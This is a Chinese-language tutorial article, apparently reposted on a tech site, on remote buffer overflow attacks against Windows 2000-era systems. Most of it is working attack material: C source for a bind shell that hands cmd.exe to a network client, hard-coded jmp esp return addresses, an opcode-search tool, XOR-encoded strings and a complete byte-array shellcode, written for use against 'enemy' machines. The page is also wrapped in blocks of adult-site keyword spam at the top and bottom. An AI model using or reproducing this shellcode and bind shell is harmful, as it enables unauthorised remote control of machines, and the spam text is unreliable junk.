日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁技術(shù)文章
文章詳情頁

windows系統(tǒng)下的遠(yuǎn)程溢出方法

瀏覽:202日期:2024-02-10 09:48:45

我們來研究windows系統(tǒng)下的遠(yuǎn)程溢出方法。我們的目的是研究如何利用windows程序的溢出來進(jìn)行遠(yuǎn)程攻擊。 如果對(duì)于windows下的緩沖區(qū)溢出不是很熟悉,請(qǐng)大家復(fù)習(xí)我前面的文章:《window系統(tǒng)下的堆棧溢出》(IsBaseMagzine 20003)。本文以及后續(xù)的《實(shí)戰(zhàn)篇》都是建立在該文基礎(chǔ)上的。

讓我們從頭開始。windows 2000 Advanced Server(Build 5.00.2195)

第一篇 《原理篇》

----遠(yuǎn)程溢出算法

如何開一個(gè)遠(yuǎn)程shell呢?思路是這樣的:首先使敵人的程序溢出,讓他執(zhí)行我們的shellcode。我們的shellcode的功能就是在敵人的機(jī)器上用某個(gè)端口開一個(gè)telnetd 服務(wù)器,然后等待客戶來的連接。當(dāng)客戶連接上之后,為這個(gè)客戶開創(chuàng)一個(gè)cmd.exe,把客戶的輸入輸出和cmd.exe的輸入輸出聯(lián)系起來,我們遠(yuǎn)程的使用者就有了一個(gè)遠(yuǎn)程shell(跟telnet一樣啦)。

上面的算法我想大家都該想得到,這里面socket部分比較簡(jiǎn)單。和Unix下的基本差不多。就是加了一個(gè)WSAStartup;為客戶開創(chuàng)一個(gè)cmd.exe,就是用CreateProcess來創(chuàng)建這個(gè)子進(jìn)程;但是如何把客戶的輸入輸出和cmd.exe的輸出輸入聯(lián)系起來呢?我使用了匿名管道(Anonymous Pipe)來完成這個(gè)聯(lián)系過程。

管道(Pipe)是一種簡(jiǎn)單的進(jìn)程間通信(IPC)機(jī)制。在Windows NT,2000,98,95下都可以使用。管道分有名和匿名兩種,命名管道可以在同一臺(tái)機(jī)器的不同進(jìn)程間以及不同機(jī)器上的不同進(jìn)程之間進(jìn)行雙向通信(使用UNC命名規(guī)范)。

匿名管道只是在父子進(jìn)程之間或者一個(gè)進(jìn)程的兩個(gè)子進(jìn)程之間進(jìn)行通信。他是單向的。匿名管道其實(shí)是通過用給了一個(gè)指定名字的有名管道來實(shí)現(xiàn)的。

管道的最大好處在于:他可以象對(duì)普通文件一樣進(jìn)行操作。他的操作標(biāo)示符是HANDLE,也就是說,他可以使用readFile,WriteFile函數(shù)來進(jìn)行與底層實(shí)現(xiàn)無關(guān)的讀寫操作!用戶根本就不必了解網(wǎng)絡(luò)間/進(jìn)程間通信的具體細(xì)節(jié)。

下面就是這個(gè)算法的C實(shí)現(xiàn):

/****************************************************************************//* Telnetd.cpp By Ipxodi tested in win2000To illustrated the method of telnetd.Only one connection can be accept,feel free to add select... to fit for multiple client*/#include <winsock2.h>#include <stdio.h>

int main(){WSADATA wsa;SOCKET listenFD;char Buff[1024];int ret;

WSAStartup(MAKEWORD(2,2),&wsa);

listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

struct sockaddr_in server;

server.sin_family = AF_INET;server.sin_port = htons(53764);server.sin_addr.s_addr=ADDR_ANY;ret=bind(listenFD,(sockaddr *)&server,sizeof(server));ret=listen(listenFD,2);int iAddrSize = sizeof(server);SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);/*這段代碼是用來建立一個(gè)Tcp Server的,我們先申請(qǐng)一個(gè)socketfd,使用53764(隨便,多少都行)作為這個(gè)socket連接的端口,bind他,然后在這個(gè)端口上等待連接listen。程序阻塞在accept函數(shù)直到有client連接上來。*/SECURITY_ATTRIBUTES sa;sa.nLength=12;sa.lpSecurityDescriptor=0;sa.bInheritHandle=true;HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);/*創(chuàng)建兩個(gè)匿名管道。hReadPipe只能用來讀管道,hWritePipe1只能用來寫管道。*/STARTUPINFO si;ZeroMemory(&si,sizeof(si));si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;si.wShowWindow = SW_HIDE;si.hStdInput = hReadPipe2;si.hStdOutput = si.hStdError = hWritePipe1;char cmdLine[] = 'cmd.exe';PROCESS_INFORMATION ProcessInformation;

ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);/*這段代碼創(chuàng)建了一個(gè)shell(cmd.exe),并且把cmd.exe的標(biāo)準(zhǔn)輸入用第二個(gè)管道的讀句柄替換。cmd.exe的標(biāo)準(zhǔn)輸出和標(biāo)準(zhǔn)錯(cuò)誤輸出用第一個(gè)管道的寫句柄替換。這兩個(gè)管道的邏輯示意圖如下:(父進(jìn)程) read<---〔管道一〕<---write 標(biāo)準(zhǔn)輸出(cmd.exe子進(jìn)程)(父進(jìn)程) write--->〔管道二〕--->read 標(biāo)準(zhǔn)輸入(cmd.exe子進(jìn)程)*/

unsigned long lBytesRead;while(1) {ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);if(lBytesRead) {ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);if(!ret) break;ret=send(clientFD,Buff,lBytesRead,0);if(ret<=0) break;}else {lBytesRead=recv(clientFD,Buff,1024,0);if(lBytesRead<=0) break;ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);if(!ret) break;}}/*這段代碼完成了客戶輸入和shell的交互。PeekNamedPipe用來異步的查詢管道一,看看shell是否有輸出。如果有就readfile讀出來,并發(fā)送給客戶。如果沒有,就去接受客戶的輸入。并writefile寫入管道傳遞給shell.這兩個(gè)管道與client和server的配合邏輯圖如下:輸入命令(Client) <-- send(父進(jìn)程) read<--〔管道一〕<--write 標(biāo)準(zhǔn)輸出(cmd.exe子進(jìn)程)獲得結(jié)果(Client) recv-->(父進(jìn)程)write-->〔管道二〕-->read 標(biāo)準(zhǔn)輸入(cmd.exe子進(jìn)程)

*/return 0;}/****************************************************************************/

----shellcode疑難問題

下面來寫shellcode。針對(duì)windows系統(tǒng)緩沖區(qū)溢出的特殊性,shellcode有一些新的問題,我采用如下辦法來解決:1)跳轉(zhuǎn)指令地址的問題因?yàn)樵诤瘮?shù)返回的時(shí)候,esp都指向返回地址后面的地址。(為什么?因?yàn)閑sp在返回后要指向的地址,就是父函數(shù)在壓完參數(shù),準(zhǔn)備執(zhí)行call 子函數(shù)之前的堆棧頂。)所以,我們的shellcode的開始位置,就是函數(shù)返回的時(shí)候,esp所指向的位置。因此,使用jmp esp 就可以跳到我們的shellcode上來。

當(dāng)然,這里面作了一個(gè)假設(shè),就是程序是由調(diào)用者來負(fù)責(zé)堆棧的恢復(fù)的。匯編代碼就是這個(gè)樣子:push eax; push ebx; push ecx; call SubRutineadd esp,000C

但是,如果是由子程序來負(fù)責(zé)恢復(fù)堆棧,SubRutine:....:010091F3 C9 leave:010091F4 C20C00 ret 000Cesp就不是指向我們的shellcode開始位置。它將指向shellcode+0c的位置。

事實(shí)上,當(dāng)你在試圖發(fā)現(xiàn)敵人程序的一個(gè)溢出點(diǎn)時(shí),這個(gè)數(shù)值(這里是0C)是可以很精確的發(fā)現(xiàn)的,因?yàn)槟憧梢钥吹剿膮R編原代碼呀!

為了解決這種情況下shellcode不能被正確執(zhí)行的問題,我們可以在shellcode前面加上0c個(gè)nop.

這樣,我們需要作的事情,就是用內(nèi)存中一個(gè)jmp esp指令的地址,來覆蓋敵人程序的返回地址。在內(nèi)存中,當(dāng)然有很多dll都會(huì)有jmp esp指令,我選擇了kernel32.dll里面的指令,因?yàn)檫@kernel32.dll是系統(tǒng)核心DLL,加載在前面,后面的dll安裝地址要隨前面dll的變動(dòng)而變動(dòng),為了通用性的考慮,采用KERNEL32.DLL。

那么這些地址就是固定的了:win98第二版下(4.00.2222a),返回地址為:0xbff795a3winnt4下(4.00.1381),返回地址為:0x77f0eac3win2000下(5.00.2195),返回地址為:0x77e2e32a

以上地址,我們可以在測(cè)試的時(shí)候使用,但是,在真正對(duì)付敵人的時(shí)候,為了區(qū)別出選擇哪一個(gè)地址,就需要首先摸清敵人的操作系統(tǒng)以及dll版本號(hào)。jmp esp 地址如果不對(duì),敵人的程序就會(huì)出現(xiàn)'無效頁錯(cuò)誤'對(duì)話框,并且一定會(huì)當(dāng)?shù)簦裕诠糁埃仨毻ㄟ^一些蛛絲馬跡,判斷敵人的類型。

以下是測(cè)試時(shí)候使用的代碼:#ifdef WIN2000#define JUMPESP 'x2axe3xe2x77'#endif#ifdef WINNT4#define JUMPESP 'xc3xeaxf0x77'#endif#ifdef WIN98 //2222a#define JUMPESP 'xa3x95xf7xbf'#endif#ifdef EXPLOIT#define JUMPESP '敵人目標(biāo)程序上的jmp esp地址。'#endif

如果你有softice,可以直接在內(nèi)存里面搜ffe4。如果沒有,綠色兵團(tuán)的Backend 寫過一個(gè)小程序可以搜索user32.dll中的FFE4(jmp esp)串。我把他改了一下,可以搜索指定dll中的FFE4。算法如下:/****************************************************************************//*ffe4.cpp By Backend*/bool we_loaded_it = false; HINSTANCE h; TCHAR dllname[] = _T('User32');

if(argc>1) {strcpy(dllname,argv[1]);}

h = GetModuleHandle(dllname); if(h == NULL) { h = LoadLibrary(dllname); if(h == NULL) { cout<<'ERROR LOADING DLL: '<<dllname<<endl; return 1; } we_loaded_it = true; }

BYTE* ptr = (BYTE*)h; bool done = false; for(int y = 0;!done;y++) { try { if(ptr[y] == 0xFF && ptr[y+1] == 0xE4) { int pos = (int)ptr + y; cout<<'OPCODE found at 0x'<<hex<<pos<<endl; } } catch(...) { cout<<'END OF '<<dllname<<' MEMORY REACHED'<<endl; done = true; } } if(we_loaded_it) FreeLibrary(h);

/****************************************************************************/2)shellcode所使用函數(shù)的問題在shellcode里面使用了很多win32函數(shù),比如ReadFile,CreateProcess等等。這些函數(shù)必須加載到了敵人程序的進(jìn)程空間里面后我們才能使用。我們將攻擊的敵人的遠(yuǎn)程服務(wù)程序里面并不能保證已經(jīng)load了我們所需要的所有的函數(shù)。

我們希望可以作出一個(gè)平臺(tái)無關(guān)的shellcode,這就必須:不直接使用OS版本相關(guān)的函數(shù)入口地址。這是因?yàn)楹瘮?shù)入口地址是根據(jù)OS/SP/升級(jí)的版本不同而可能不同的。

唯一的辦法就是對(duì)使用的每一個(gè)win32函數(shù),都使用LoadLibrary加載dll,用GetProcAddress函數(shù)來獲得函數(shù)地址。這需要我們的shellcode里面有一個(gè)函數(shù)名表保存每一個(gè)所使用的函數(shù)的函數(shù)名,并且在shellcode執(zhí)行前,調(diào)用上述兩個(gè)函數(shù)一一獲得這些函數(shù)的地址。

但是又有一個(gè)問題,就是LoadLibrary和GetProcAddress本身的地址怎么獲得呢?我們想一想,這兩個(gè)函數(shù)的作用?'取得所有其他函數(shù)的地址。'沒錯(cuò),他們太重要了,每一個(gè)win32程序都要使用它們!那么,我們的目標(biāo)程序呢?肯定也會(huì)有它們的。所以,在寫exploit的時(shí)候,這兩個(gè)函數(shù)的地址都是確定的。

如何找到這兩個(gè)函數(shù)在目標(biāo)程序里面的加載地址呢?它們會(huì)不會(huì)是根據(jù)敵人操作系統(tǒng)的不同而變化的呢?不是。這些動(dòng)態(tài)加載的函數(shù)都是在目標(biāo)程序里面設(shè)置了一個(gè)入口表。由目標(biāo)程序自己去加載,但是他的入口表地址是固定的。

你可以使用wdasm32來搜索LoadLibrary和GetProcAddress,可以看到它們對(duì)應(yīng)的入口表地址AAAA。在shellcode里面,可以直接用call [AAAA]來引用它們。

3)shellcode里面使用的字符串問題剛剛解決了第二個(gè)問題,就引出了第三個(gè)問題。前面提到過使用函數(shù)名表以用來動(dòng)態(tài)獲得函數(shù)地址。但是這些函數(shù)名字都要以x0結(jié)尾的!我們的shellcode最基本的一條,就是里面絕對(duì)不能含有x0,也不可以有回車換行.

解決的辦法,就是先對(duì)字符串表進(jìn)行編碼(好嚇人)處理,處理掉所有的非法字符,shellcode在使用前,由一個(gè)子程序來進(jìn)行解碼。

我使用的方法就是對(duì)字符串進(jìn)行 xor 0x99處理。這樣編解碼就是一個(gè)程序了。

下面是編解碼程序:0xb1, 0xc6, /* mov cl, C6 */0x8b, 0xc7, /* mov eax, edi *//*Xorshellcode */ /* */0x48, /* dec eax */0x80, 0x30, 0x99, /* xor byte ptr [eax], 99 */0xe2, 0xfa, /* loop Xorshellcode */

呵呵,一點(diǎn)都不嚇人,很簡(jiǎn)單,是不是?我們將使用的資源列表就是前面使用的所有函數(shù),加上'cmd.exe'。具體為:

/****************************************************************************/db 'KERNEL32' ,0;string to push for LoadLibrary.db 'CreatePipe',0db 'GetStartupInfoA',0 db 'CreateProcessA',0db 'PeekNamedPipe',0db 'GlobalAlloc',0db 'WriteFile',0db 'ReadFile',0db 'Sleep',0 db 'ExitProcess',0db 'WSOCK32',0db 'socket',0 db 'bind',0 db 'listen',0 db 'accept',0 db 'send',0 db 'recv',0

sockstruc STRUCT sin_family dw 0002hsin_port dw ?sin_addr dd ?sin_zero db 8 dup (0)sockstruc ENDS

db 'cmd.exe',0dd 0ffffffffh db 00dh, 00ah

/****************************************************************************/

4)shellcode的編寫將前面的C程序編譯出來,提取出shellcode,然后加上前面的編解碼和函數(shù)加載模塊就可以了。

應(yīng)用前面的設(shè)計(jì)思想,我們可以寫出來shellcode如下:

unsigned char sploit[580] = {0x90, 0x8b, 0xfc, /* mov edi,esp */ 0x33, 0xc0, /* xor eax, eax */0x50, /* push eax */0xf7, 0xd0, /* not eax */0x50, /* push eax */0x59, /* pop ecx */0xf2, /* repnz */0xaf, /* scasd */0x59, /* pop ecx */0xb1, 0xc6, /* mov cl, C6 */0x8b, 0xc7, /* mov eax, edi *//*Xorshellcode */ /* */0x48, /* dec eax */0x80, 0x30, 0x99, /* xor byte ptr [eax], 99 */0xe2, 0xfa, /* loop Xorshellcode */0x33, 0xf6, /* xor esi, esi */0x96, /* xchg eax,esi */0xbb,0x99, 0xe8, 0x61, 0x42, /* mov ebx, &LoadLibrary */0xc1, 0xeb, 0x08, /* shr ebx, 08 */0x56, /* push esi */0xff, 0x13, /* call dword ptr [ebx] */0x8b, 0xd0, /* mov edx, eax */0xfc, /* cld */0x33, 0xc9, /* xor ecx, ecx */0xb1, 0x0b, /* mov cl, 0B */0x49, /* dec ecx *//* loadKernelProcess */ /* */0x32, 0xc0, /* xor al, al */0xac, /* lodsb */0x84, 0xc0, /* test al, al */0x75, 0xf9, /* jne loadKernelProcess */0x52, /* push edx */0x51, /* push ecx */0x56, /* push esi */0x52, /* push edx */0xb3, 0xe4, /* mov bl, e4 &GetProcAddr */0xff, 0x13, /* call dword ptr [ebx] */0xab, /* stosd */0x59, /* pop ecx */0x5a, /* pop edx */0xe2, 0xec, /* loop loadKernelProcess *//* */0x32, 0xc0, /* xor al, al */0xac, /* lodsb */0x84, 0xc0, /* test al, al */0x75, 0xf9, /* jne 00000176 */0xb3, 0xe8, /* mov bl, e8 */0x56, /* push esi */0xff, 0x13, /* call dword ptr [ebx] */0x8b, 0xd0, /* mov edx, eax */0xfc, /* cld */0x33, 0xc9, /* xor ecx, ecx */0xb1, 0x06, /* mov cl, 06 *//* loadSocketProcess */ 0x32, 0xc0, /* xor al, al */0xac, /* lodsb */0x84, 0xc0, /* test al, al */0x75, 0xf9, /* jne loadSocketProcess */ 0x52, /* push edx */0x51, /* push ecx */0x56, /* push esi */0x52, /* push edx */0xb3, 0xe4, /* mov bl, e4 */0xff, 0x13, /* call dword ptr [ebx] */0xab, /* stosd */0x59, /* pop ecx */0x5a, /* pop edx */0xe2, 0xec, /* loop loadSocketProcess */ /*這一段代碼就是前期的準(zhǔn)備工作,它負(fù)責(zé)獲得所有的函數(shù)的入口地址,這些函數(shù)是:'KERNEL32.dll''CreatePipe''GetStartupInfoA''CreateProcessA''PeekNamedPipe''GlobalAlloc''WriteFile''ReadFile''Sleep''ExitProcess'

'WSOCK32.dll''socket' 'bind' 'listen' 'accept' 'send' 'recv' */0x83, 0xc6, 0x05, /* add esi, 00000005 */0x33, 0xc0, /* xor eax, eax */0x50, /* push eax */0x40, /* inc eax */0x50, /* push eax */0x40, /* inc eax */0x50, /* push eax */0xff, 0x57, 0xe8, /* call [edi-18] */0x93, /* xchg eax,ebx */0x6a, 0x10, /* push 00000010 */ 0x56, /* push esi */ 0x53, /* push ebx */ 0xff, 0x57, 0xec, /* call [edi-14] */ 0x6a, 0x02, /* push 00000002 */0x53, /* push ebx */0xff, 0x57, 0xf0, /* call [edi-10] */0x33, 0xc0, /* xor eax, eax */0x57, /* push edi */0x50, /* push eax */0xb0, 0x0c, /* mov al, 0C */0xab, /* stosd */0x58, /* pop eax */0xab, /* stosd */0x40, /* inc eax */0xab, /* stosd */0x5f, /* pop edi */0x48, /* dec eax */0x50, /* push eax */ 0x57, /* push edi */ 0x56, /* push esi */0xad, /* lodsd */ 0x56, /* push esi */ 0xff, 0x57, 0xc0, /* call [edi-40] */ 0x48, /* dec eax */0x50, /* push eax */0x57, /* push edi */0xad, /* lodsd */0x56, /* push esi */0xad, /* lodsd */0x56, /* push esi */0xff, 0x57, 0xc0, /* call [edi-40] */0x48, /* dec eax */0xb0, 0x44, /* mov al, 44 */0x89, 0x07, /* mov dword ptr [edi], eax */0x57, /* push edi */0xff, 0x57, 0xc4, /* call [edi-3C] */0x33, 0xc0, /* xor eax, eax */0x8b, 0x46, 0xf4, /* mov eax, dword ptr [esi-0C] */0x89, 0x47, 0x3c, /* mov dword ptr [edi+3C], eax */0x89, 0x47, 0x40, /* mov dword ptr [edi+40], eax */0x8b, 0x06, /* mov eax, dword ptr [esi] */0x89, 0x47, 0x38, /* mov dword ptr [edi+38], eax */0x33, 0xc0, /* xor eax, eax */0x66, 0xb8, 0x01, 0x01, /* mov ax, 0101 */0x89, 0x47, 0x2c, /* mov dword ptr [edi+2C], eax */0x57, /* push edi */0x57, /* push edi */0x33, 0xc0, /* xor eax, eax */0x50, /* push eax */0x50, /* push eax */0x50, /* push eax */0x40, /* inc eax */0x50, /* push eax */0x48, /* dec eax */0x50, /* push eax */0x50, /* push eax */0xad, /* lodsd */0x56, /* push esi */0x33, 0xc0, /* xor eax, eax */0x50, /* push eax */0xff, 0x57, 0xc8, /* call [edi-38] */ 0xff, 0x76, 0xf0, /* push [esi-10] */0xff, 0x57, 0xcc, /* call [edi-34] */0xff, 0x76, 0xfc, /* push [esi-04] */0xff, 0x57, 0xcc, /* call [edi-34] */0x48, /* dec eax */0x50, /* push eax */0x50, /* push eax */0x53, /* push ebx */0xff, 0x57, 0xf4, /* call [edi-0C] */0x8b, 0xd8, /* mov ebx, eax */0x33, 0xc0, /* xor eax, eax */0xb4, 0x04, /* mov ah, 04 */0x50, /* push eax */0xc1, 0xe8, 0x04, /* shr eax, 04 */0x50, /* push eax */0xff, 0x57, 0xd4, /* call [edi-2C] */0x8b, 0xf0, /* mov esi, eax *//* PeekPipe: */ 0x33, 0xc0, /* xor eax, eax */0x8b, 0xc8, /* mov ecx, eax */0xb5, 0x04, /* mov ch, 04 */0x50, /* push eax */0x50, /* push eax */0x57, /* push edi */0x51, /* push ecx */0x56, /* push esi */0xff, 0x77, 0xa8, /* push [edi-58] */0xff, 0x57, 0xd0, /* call [edi-30] */0x83, 0x3f, 0x01, /* cmp dword ptr [edi], 0000000*/0x7c, 0x22, /* jl GetUserInput */0x33, 0xc0, /* xor eax, eax */0x50, /* push eax */0x57, /* push edi */0xff, 0x37, /* push dword ptr [edi] */0x56, /* push esi */0xff, 0x77, 0xa8, /* push [edi-58] */0xff, 0x57, 0xdc, /* call [edi-24] */0x0b, 0xc0, /* or eax, eax */0x74, 0x2f, /* je GameOver */0x33, 0xc0, /* xor eax, eax */0x50, /* push eax */0xff, 0x37, /* push dword ptr [edi] */0x56, /* push esi */0x53, /* push ebx */0xff, 0x57, 0xf8, /* call [edi-08] */0x6a, 0x50, /* push 00000050 */0xff, 0x57, 0xe0, /* call [edi-20] */0xeb, 0xc8, /* jmp PeekPipe *//* GetUserInput: */ 0x33, 0xc0, /* xor eax, eax */0x50, /* push eax */0xb4, 0x04, /* mov ah, 04 */0x56, /* push esi */0x53, /* push ebx */0xff, 0x57, 0xfc, /* call [edi-04] */0x57, /* push edi */0x33, 0xc9, /* xor ecx, ecx */0x51, /* push ecx */0x50, /* push eax */0x56, /* push esi */0xff, 0x77, 0xac, /* push [edi-54] */0xff, 0x57, 0xd8, /* call [edi-28] */0x6a, 0x50, /* push 00000050 */0xff, 0x57, 0xe0, /* call [edi-20] *//* GameOver: */ 0xeb, 0xaa, /* jmp PeekPipe */0x50, /* push eax */0xff, 0x57, 0xe4, /* call [edi-1C] */0x90, /* nop *//*這里的長(zhǎng)長(zhǎng)代碼就是那段C語言的算法,我的注釋很詳細(xì),就不多說了*/0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99,0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde,0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff,0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6,0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8,0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb,0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed,0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0,0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xd6,0xda, 0xd2, 0xaa, 0xab, 0x99, 0xae, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99,0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99,0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99, 0x4b, 0x9d, // word value for bind port, 4b9d xor 9999h=537640x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff, 0x0d, 0x0a};/*這些就是那個(gè)字符串表,已經(jīng)經(jīng)過了編碼。*/

標(biāo)簽: Windows系統(tǒng)
相關(guān)文章:
日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
亚洲精品国产偷自在线观看| 亚洲一区二区成人| 亚洲尤物av| 老鸭窝亚洲一区二区三区| 国产精品av久久久久久麻豆网| 免费福利视频一区二区三区| 成午夜精品一区二区三区软件| 国产精品一区毛片| 欧美a在线观看| 精品五月天堂| 中文字幕在线官网| 国产精品二区不卡| 日韩在线不卡| 合欧美一区二区三区| 美女被久久久| 日本不卡视频一二三区| 91九色综合| 乱一区二区av| 亚洲天堂免费电影| 欧美成人高清| 免费在线看一区| 国产探花一区| 91视频精品| 亚洲精品一区二区妖精| 久久xxxx| 日本天堂一区| 国产精品久久久久av蜜臀| 激情久久一区二区| 久久国产中文字幕| 蜜臀av性久久久久蜜臀aⅴ流畅| 综合激情一区| 国产精品a级| 天堂8中文在线最新版在线| 免费观看久久av| 一区二区精彩视频| 国产精品红桃| 成人自拍av| 三级亚洲高清视频| 久久爱www.| 国内精品99| 综合亚洲自拍| 国产精品地址| 久久精品高清| 91免费精品国偷自产在线在线| 成人午夜在线| 日av在线不卡| 久久精品三级| 亚洲精品极品少妇16p| 日韩av字幕| 四虎884aa成人精品最新| 亚洲图片久久| 成人污污视频| 黑丝一区二区| 久久影院资源站| 在线视频精品| 精品视频黄色| 99视频在线精品国自产拍免费观看| 日韩精品久久久久久| 久久久一本精品| 日韩av中文字幕一区| 成人精品中文字幕| 日韩精品免费视频一区二区三区| 波多视频一区| 欧美一区在线观看视频| 久久三级福利| 国产精品国产三级在线观看| 99国产精品视频免费观看一公开| 欧美国产中文高清| 一区二区电影| 肉色欧美久久久久久久免费看| 视频在线在亚洲| 精品国产一区二| 日韩精品第二页| 亚洲午夜黄色| 精品一区二区男人吃奶| 在线国产日韩| 久久久久一区| 欧美激情久久久久久久久久久| 亚洲在线网站| 欧美日韩国产观看视频| 国产精品免费99久久久| 美女黄网久久| 成人福利视频| 久久精品国产亚洲一区二区三区| 亚洲美女91| 一区二区三区视频免费观看| 国产精品中文| 天堂va欧美ⅴa亚洲va一国产| 99热精品久久| 福利一区和二区| 国产精品黄色| 国产亚洲观看| 日韩国产91| 中文字幕成人| 午夜在线一区二区| 久久中文亚洲字幕| 精品国产乱码久久久久久樱花| 日本午夜免费一区二区 | 亚洲大片在线| 中文一区一区三区高中清不卡免费| 国产欧美一区二区三区国产幕精品| 亚洲综合欧美| 婷婷中文字幕一区| 国精品一区二区三区| 精精国产xxxx视频在线野外| 精品中文字幕一区二区三区| 欧美另类中文字幕| 亚洲精品成a人ⅴ香蕉片| 国产亚洲精品自拍| 女主播福利一区| 亚洲天堂久久| 在线日韩av| 欧美va亚洲va日韩∨a综合色| 麻豆网站免费在线观看| 精品亚洲a∨一区二区三区18| 久久不卡日韩美女| 美女精品久久| 久久中文字幕导航| 久久精品九色| 国产黄大片在线观看| av资源新版天堂在线| 成人在线免费观看91| 精品国产欧美日韩| 狠狠久久伊人| 色婷婷狠狠五月综合天色拍| 欧美成a人国产精品高清乱码在线观看片在线观看久 | 日欧美一区二区| 五月激激激综合网色播| 亚洲精品影视| 日韩国产一区二| 国产精选一区| 国产精品v亚洲精品v日韩精品| 国产欧美日韩一区二区三区在线| 欧美日韩1区2区3区| 国产欧美88| 精品在线网站观看| 国产资源在线观看入口av| 久久婷婷av| 欧美精品一区二区久久| 国产午夜久久| 日本aⅴ精品一区二区三区| 国产视频一区二区在线播放| 欧美韩一区二区| 成人片免费看| 黄色亚洲在线| 亚洲精品乱码久久久久久蜜桃麻豆| 日韩三级一区| 久久精品国产久精国产| 日本久久成人网| 一区二区三区网站| 欧美一区网站| 国产一区二区三区亚洲| 日韩在线短视频| 黄色精品网站| 日韩动漫一区| sm捆绑调教国产免费网站在线观看| 久久精品高清| 亚洲免费成人av在线| 麻豆极品一区二区三区| 久久精品国内一区二区三区水蜜桃| 亚洲少妇在线| 久久黄色影视| 黄在线观看免费网站ktv| 91精品观看| 欧美一区二区三区久久| 国产日韩电影| 蜜芽一区二区三区| 国产精品久久久久久久免费软件| 高清久久精品| 爽爽淫人综合网网站| 国产精品嫩模av在线| 欧美日韩视频网站| 日韩制服丝袜av| 国产精品久久| 欧美日韩激情| 欧美伊人久久| 欧美粗暴jizz性欧美20| 7777精品| 999国产精品999久久久久久| 蜜桃av一区二区在线观看| 久久不卡日韩美女| 2023国产精品久久久精品双| 国产日韩高清一区二区三区在线| 成人欧美一区二区三区的电影| 男人的天堂亚洲一区| 国产精品xx| 亚洲精品伊人| 久久黄色影院| 国产欧美日韩精品一区二区免费| 色爱av综合网| 国产视频一区二| 亚洲电影在线一区二区三区| 欧美日本精品| 精品中文一区| 久久精品国产亚洲aⅴ| 中文字幕视频精品一区二区三区| 亚洲人成在线网站| 国产精品红桃| 亚洲一区二区三区在线免费| 日韩精品电影|